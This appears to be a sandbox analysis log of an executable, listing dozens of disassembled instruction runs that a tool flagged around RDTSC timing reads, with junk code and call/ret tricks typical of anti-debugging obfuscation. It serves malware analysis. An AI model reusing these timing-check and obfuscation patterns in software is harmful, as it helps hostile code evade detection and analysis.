Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B57F59 second address: B57FA6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e pushad 0x0000000f jmp 00007FC3A8C81778h 0x00000014 jnl 00007FC3A8C8176Ch 0x0000001a popad 0x0000001b mov eax, dword ptr [eax] 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FC3A8C81775h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B57FA6 second address: B57FAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B57FAC second address: B57FB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B580F8 second address: B580FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B580FE second address: B5810A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5810A second address: B58114 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B58114 second address: B58118 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B58282 second address: B58294 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jnc 00007FC3A8C83B36h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B58294 second address: B582A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC3A8C8176Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5864C second address: B58650 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B586CD second address: B586D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B586D3 second address: B586D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B58AAF second address: B58AB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B58AB7 second address: B58ABB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B58B3A second address: B58B95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 xchg eax, ebx 0x00000006 push 00000000h 0x00000008 push esi 0x00000009 call 00007FC3A8C81768h 0x0000000e pop esi 0x0000000f mov dword ptr [esp+04h], esi 0x00000013 add dword ptr [esp+04h], 0000001Bh 0x0000001b inc esi 0x0000001c push esi 0x0000001d ret 0x0000001e pop esi 0x0000001f ret 0x00000020 mov di, A323h 0x00000024 pushad 0x00000025 pushad 0x00000026 jmp 00007FC3A8C81771h 0x0000002b mov esi, eax 0x0000002d popad 0x0000002e mov ebx, 6F9ABD90h 0x00000033 popad 0x00000034 jp 00007FC3A8C81768h 0x0000003a mov esi, edx 0x0000003c nop 0x0000003d pushad 0x0000003e push eax 0x0000003f push edx 0x00000040 jc 00007FC3A8C81766h 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B58B95 second address: B58BC1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC3A8C83B46h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FC3A8C83B3Bh 0x0000000e popad 0x0000000f push eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 push edx 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B58BC1 second address: B58BC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B58E7C second address: B58EAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC3A8C83B3Dh 0x00000009 popad 0x0000000a pop esi 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FC3A8C83B48h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B590F4 second address: B590F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B590F9 second address: B590FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B590FF second address: B59110 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FC3A8C81766h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edi 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B59156 second address: B59192 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC3A8C83B3Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ecx 0x0000000b pushad 0x0000000c je 00007FC3A8C83B36h 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 pop ecx 0x00000016 nop 0x00000017 pushad 0x00000018 mov edi, 66482B80h 0x0000001d sbb dx, 40C1h 0x00000022 popad 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 push edx 0x00000027 jmp 00007FC3A8C83B3Ch 0x0000002c pop edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B59192 second address: B5919C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FC3A8C81766h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5A031 second address: B5A053 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FC3A8C83B38h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push esi 0x0000000d jmp 00007FC3A8C83B3Ah 0x00000012 pop esi 0x00000013 push eax 0x00000014 push edx 0x00000015 js 00007FC3A8C83B36h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5BCEC second address: B5BCF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5BCF0 second address: B5BCF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5BCF4 second address: B5BCFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5BCFA second address: B5BCFF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5BCFF second address: B5BD05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5D6D2 second address: B5D6E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jbe 00007FC3A8C83B36h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5D6E8 second address: B5D6EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5D6EC second address: B5D70A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jne 00007FC3A8C83B36h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d jo 00007FC3A8C83B36h 0x00000013 jmp 00007FC3A8C83B3Ah 0x00000018 pop edi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5D70A second address: B5D72B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC3A8C81777h 0x00000009 jbe 00007FC3A8C81766h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5D72B second address: B5D731 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5DCE9 second address: B5DCEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5F49E second address: B5F4A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5FE2B second address: B5FE45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC3A8C81776h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B61C13 second address: B61C17 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B61C17 second address: B61C1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B61DDC second address: B61DE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B61DE0 second address: B61DE7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B63C8B second address: B63C97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B63C97 second address: B63C9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B63C9B second address: B63D2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007FC3A8C83B38h 0x0000000c popad 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push ebx 0x00000011 call 00007FC3A8C83B38h 0x00000016 pop ebx 0x00000017 mov dword ptr [esp+04h], ebx 0x0000001b add dword ptr [esp+04h], 00000018h 0x00000023 inc ebx 0x00000024 push ebx 0x00000025 ret 0x00000026 pop ebx 0x00000027 ret 0x00000028 movsx ebx, ax 0x0000002b push 00000000h 0x0000002d jmp 00007FC3A8C83B45h 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push edx 0x00000037 call 00007FC3A8C83B38h 0x0000003c pop edx 0x0000003d mov dword ptr [esp+04h], edx 0x00000041 add dword ptr [esp+04h], 0000001Bh 0x00000049 inc edx 0x0000004a push edx 0x0000004b ret 0x0000004c pop edx 0x0000004d ret 0x0000004e mov ebx, dword ptr [ebp+122D3994h] 0x00000054 push eax 0x00000055 push eax 0x00000056 push edx 0x00000057 push eax 0x00000058 push edx 0x00000059 jmp 00007FC3A8C83B45h 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B63D2A second address: B63D43 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC3A8C81775h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B63D43 second address: B63D49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B65D15 second address: B65D19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B65D19 second address: B65D42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jc 00007FC3A8C83B36h 0x00000011 jmp 00007FC3A8C83B47h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B64E44 second address: B64E4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B66DCB second address: B66DCF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B66DCF second address: B66DE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnl 00007FC3A8C8176Ch 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B66DE5 second address: B66DEA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B66F8B second address: B66F91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B68D65 second address: B68D82 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC3A8C83B3Ch 0x00000008 jns 00007FC3A8C83B36h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 pushad 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B68D82 second address: B68D8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 je 00007FC3A8C8176Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B68D8F second address: B68DD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 push 00000000h 0x00000008 push esi 0x00000009 call 00007FC3A8C83B38h 0x0000000e pop esi 0x0000000f mov dword ptr [esp+04h], esi 0x00000013 add dword ptr [esp+04h], 00000017h 0x0000001b inc esi 0x0000001c push esi 0x0000001d ret 0x0000001e pop esi 0x0000001f ret 0x00000020 mov edi, dword ptr [ebp+122D203Fh] 0x00000026 jmp 00007FC3A8C83B3Ah 0x0000002b sub bx, 9A69h 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 mov bl, ah 0x00000036 push eax 0x00000037 push ecx 0x00000038 pushad 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B69D10 second address: B69DA8 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FC3A8C81766h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jno 00007FC3A8C81768h 0x00000010 popad 0x00000011 mov dword ptr [esp], eax 0x00000014 push 00000000h 0x00000016 push edi 0x00000017 call 00007FC3A8C81768h 0x0000001c pop edi 0x0000001d mov dword ptr [esp+04h], edi 0x00000021 add dword ptr [esp+04h], 0000001Dh 0x00000029 inc edi 0x0000002a push edi 0x0000002b ret 0x0000002c pop edi 0x0000002d ret 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push edi 0x00000033 call 00007FC3A8C81768h 0x00000038 pop edi 0x00000039 mov dword ptr [esp+04h], edi 0x0000003d add dword ptr [esp+04h], 00000018h 0x00000045 inc edi 0x00000046 push edi 0x00000047 ret 0x00000048 pop edi 0x00000049 ret 0x0000004a push 00000000h 0x0000004c push 00000000h 0x0000004e push ecx 0x0000004f call 00007FC3A8C81768h 0x00000054 pop ecx 0x00000055 mov dword ptr [esp+04h], ecx 0x00000059 add dword ptr [esp+04h], 00000015h 0x00000061 inc ecx 0x00000062 push ecx 0x00000063 ret 0x00000064 pop ecx 0x00000065 ret 0x00000066 push eax 0x00000067 push eax 0x00000068 push edx 0x00000069 jmp 00007FC3A8C81779h 0x0000006e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B69DA8 second address: B69DB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC3A8C83B3Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6AE82 second address: B6AE86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6AE86 second address: B6AE8C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B69F55 second address: B69F5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B69F5C second address: B69F62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B69F62 second address: B69F66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6BF14 second address: B6BF1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6BF1A second address: B6BF30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC3A8C81772h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6D032 second address: B6D036 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6D036 second address: B6D041 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007FC3A8C81766h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6C1D6 second address: B6C1DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6E0C4 second address: B6E0D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop esi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6E0D1 second address: B6E0D7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6D2A2 second address: B6D2A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6D2A6 second address: B6D2AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6D2AC second address: B6D2B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6D2B1 second address: B6D2C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FC3A8C83B36h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f jnl 00007FC3A8C83B3Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6E210 second address: B6E215 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6FF7A second address: B6FF80 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6FF80 second address: B6FF8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FC3A8C81766h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6FF8A second address: B7001D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007FC3A8C83B38h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 0000001Bh 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 call 00007FC3A8C83B42h 0x0000002a sub ebx, 4B7E7097h 0x00000030 pop edi 0x00000031 push 00000000h 0x00000033 mov ebx, dword ptr [ebp+122D3900h] 0x00000039 push 00000000h 0x0000003b push 00000000h 0x0000003d push edi 0x0000003e call 00007FC3A8C83B38h 0x00000043 pop edi 0x00000044 mov dword ptr [esp+04h], edi 0x00000048 add dword ptr [esp+04h], 00000019h 0x00000050 inc edi 0x00000051 push edi 0x00000052 ret 0x00000053 pop edi 0x00000054 ret 0x00000055 and edi, 27CCDE2Bh 0x0000005b xor dword ptr [ebp+122D2034h], ecx 0x00000061 xchg eax, esi 0x00000062 pushad 0x00000063 pushad 0x00000064 jmp 00007FC3A8C83B40h 0x00000069 push eax 0x0000006a push edx 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7001D second address: B7003E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jno 00007FC3A8C81776h 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B70F04 second address: B70F25 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FC3A8C83B47h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B70F25 second address: B70F37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC3A8C8176Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B70FDC second address: B70FE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B760A1 second address: B760AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B157A1 second address: B157AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FC3A8C83B36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B71101 second address: B71106 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B71106 second address: B7110C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7110C second address: B71110 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B71110 second address: B71114 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B10779 second address: B1077F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1077F second address: B107AF instructions: 0x00000000 rdtsc 0x00000002 jne 00007FC3A8C83B3Ch 0x00000008 push ecx 0x00000009 jmp 00007FC3A8C83B45h 0x0000000e pop ecx 0x0000000f pop edx 0x00000010 pop eax 0x00000011 jng 00007FC3A8C83B3Eh 0x00000017 push ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
